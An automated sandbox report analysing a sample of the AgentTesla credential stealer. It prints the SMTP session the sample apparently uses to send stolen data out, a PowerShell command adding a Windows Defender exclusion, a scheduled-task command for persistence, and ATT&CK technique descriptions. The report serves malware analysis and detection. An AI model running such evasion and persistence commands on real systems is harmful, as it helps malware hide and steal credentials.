Dec 2, 2021 20:23:47.522454023 CET	8.8.8.8	192.168.2.4	0x53fb	No error (0)	smtp.stockmeieir.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Dec 2, 2021 20:23:47.522454023 CET	8.8.8.8	192.168.2.4	0x53fb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.522454023 CET	8.8.8.8	192.168.2.4	0x53fb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.522454023 CET	8.8.8.8	192.168.2.4	0x53fb	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.522454023 CET	8.8.8.8	192.168.2.4	0x53fb	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 2, 2021 20:23:47.924026012 CET	587	49843	208.91.199.224	192.168.2.4	220 us2.outbound.mailhostbox.com ESMTP Postfix
Dec 2, 2021 20:23:47.924518108 CET	49843	587	192.168.2.4	208.91.199.224	EHLO 506013
Dec 2, 2021 20:23:48.074382067 CET	587	49843	208.91.199.224	192.168.2.4	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
Dec 2, 2021 20:23:48.075438023 CET	49843	587	192.168.2.4	208.91.199.224	AUTH login bS5tZWxlbmRlekBzdG9ja21laWVpci5jb20=
Dec 2, 2021 20:23:48.226380110 CET	587	49843	208.91.199.224	192.168.2.4	334 UGFzc3dvcmQ6
Dec 2, 2021 20:23:48.378978014 CET	587	49843	208.91.199.224	192.168.2.4	235 2.7.0 Authentication successful
Dec 2, 2021 20:23:48.379654884 CET	49843	587	192.168.2.4	208.91.199.224	MAIL FROM:<m.melendez@stockmeieir.com>
Dec 2, 2021 20:23:48.530858040 CET	587	49843	208.91.199.224	192.168.2.4	250 2.1.0 Ok
Dec 2, 2021 20:23:48.531563044 CET	49843	587	192.168.2.4	208.91.199.224	RCPT TO:<m.melendez@stockmeieir.com>
Dec 2, 2021 20:23:48.727202892 CET	587	49843	208.91.199.224	192.168.2.4	250 2.1.5 Ok
Dec 2, 2021 20:23:48.727817059 CET	49843	587	192.168.2.4	208.91.199.224	DATA
Dec 2, 2021 20:23:48.878220081 CET	587	49843	208.91.199.224	192.168.2.4	354 End data with <CR><LF>.<CR><LF>
Dec 2, 2021 20:23:48.880714893 CET	49843	587	192.168.2.4	208.91.199.224	.
Dec 2, 2021 20:23:49.086833000 CET	587	49843	208.91.199.224	192.168.2.4	250 2.0.0 Ok: queued as 9D30E2C7C12

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: winlogon.exe PID: 6768 Parent PID: 6000

General

Start time:	20:22:06
Start date:	02/12/2021
Path:	C:\Users\user\Desktop\winlogon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\winlogon.exe"
Imagebase:	0x7d0000
File size:	473600 bytes
MD5 hash:	629F5BB8B5EE75E90C393AD9D96A1772
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: powershell.exe PID: 6968 Parent PID: 6768

General

Start time:	20:22:09
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe
Imagebase:	0xa40000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: conhost.exe PID: 6584 Parent PID: 6968

General

Start time:	20:22:10
Start date:	02/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: schtasks.exe PID: 6632 Parent PID: 6768

General

Start time:	20:22:10
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp
Imagebase:	0x150000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5644 Parent PID: 6632

General

Start time:	20:22:11
Start date:	02/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: RegSvcs.exe PID: 6284 Parent PID: 6768

General

Start time:	20:22:12
Start date:	02/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x620000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.928192822.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000002.928192822.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000000.672988393.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000000.672988393.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.929157483.00000000029B4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000000.673339643.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000000.673339643.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report winlogon.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre